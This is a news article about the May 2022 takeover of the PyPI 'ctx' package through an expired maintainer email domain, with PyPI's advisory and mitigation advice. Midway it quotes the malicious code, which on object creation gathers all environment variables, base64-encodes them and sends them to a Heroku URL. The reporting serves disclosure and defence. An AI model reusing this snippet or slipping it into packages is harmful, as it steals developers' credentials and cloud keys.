The Python Package Index (PyPI), a repository for Python software libraries, has advised Python developers that the
ctx package has been compromised.
Any installation of the software in the past ten days should be investigated to determine whether sensitive account identifiers stored in environment variables, such as cloud access keys, have been stolen.
The PyPI administrators estimate that about 27,000 malicious copies of ctx were downloaded from the registry since the rogue versions of
ctx first appeared, starting around 19:18 UTC on May 14, 2022.
They add that a safe version of
ctx (1.2) is a dependency of one other package, context engine. But more recent malicious versions of
ctx don’t appear as dependencies in any other packages analyzed by
ctx hosted project on PyPI was taken over via user account compromise and replaced with a malicious project which contained runtime code which collected the content of
os.environ.items() when instantiating Ctx objects,” the PyPI administrators explain in a security advisory published on Tuesday. “The captured environment variables were sent as a base64 encoded query parameter to a Heroku application running at
That URL is not currently configured to respond to web requests via HTTP – presumably the app has been disabled or removed.
About half of Python libraries in PyPI may have security issues, boffins say
In a blog post on Tuesday, Internet Storm Center handler Yee Ching Tok observes that another (no longer accessible) project on GitHub –
github.com/hautelook/phpass – contained the same malicious Heroku domain within its PHP code.
ctx package, now removed from PyPI, is a Python library for accessing Python dictionaries using dot notation. It remained unchanged over the past eight years (as it remains on GitHub) until May 14, 2022. That’s when the expired email domain (
A Reddit post from three days ago that announced the arrival of the new version of
ctx may be from an individual involved in the package subversion. At least that’s the speculation of those responding to the now deleted initial post. The Register has emailed the individual in question – whose GitHub account includes security and hacking tools – to ask about this but we’ve not heard back.
The exfiltration code is unsophisticated, which could indicate that the attack is more exploratory than ill-intentioned. It iterates through the environmental variables stored on the victim’s machine, encodes them as base64, and appends them to a Heroku app URL as query parameters.
class Ctx(dict): def __init__(self): self.sendRequest() def sendRequest(self): string = "" for _, value in os.environ.items(): string += value+" " message_bytes = string.encode('ascii') base64_bytes = base64.b64encode(message_bytes) base64_message = base64_bytes.decode('ascii') response = requests.get("hxxps://anti-theft-web.herokuapp.com/hacked/"+base64_message)
A post on Monday by a different Reddit user appears to be among the first to raise the alarm.
Those overseeing PyPI say domain takeovers represent a known attack vector and that PyPI’s defense against this involves disabling “verified” email status – required to process a password update – if a PyPI email to the account bounces. But triggering de-verification requires PyPI to send an email inquiry to the expired domain between the time of expiration and the domain takeover. And that doesn’t appear to have happened.
The Pythonistas note that they could perform this sort of analysis on an ongoing basis and freeze accounts associated with expired or nearly expired domains, but that this would be “at the cost of increased support burden on the team of PyPI moderators and admins.”
The PyPI admins recommend enabling multi-factor authentication for PyPI accounts and using version-pinning and hash-checking mode for greater security. ®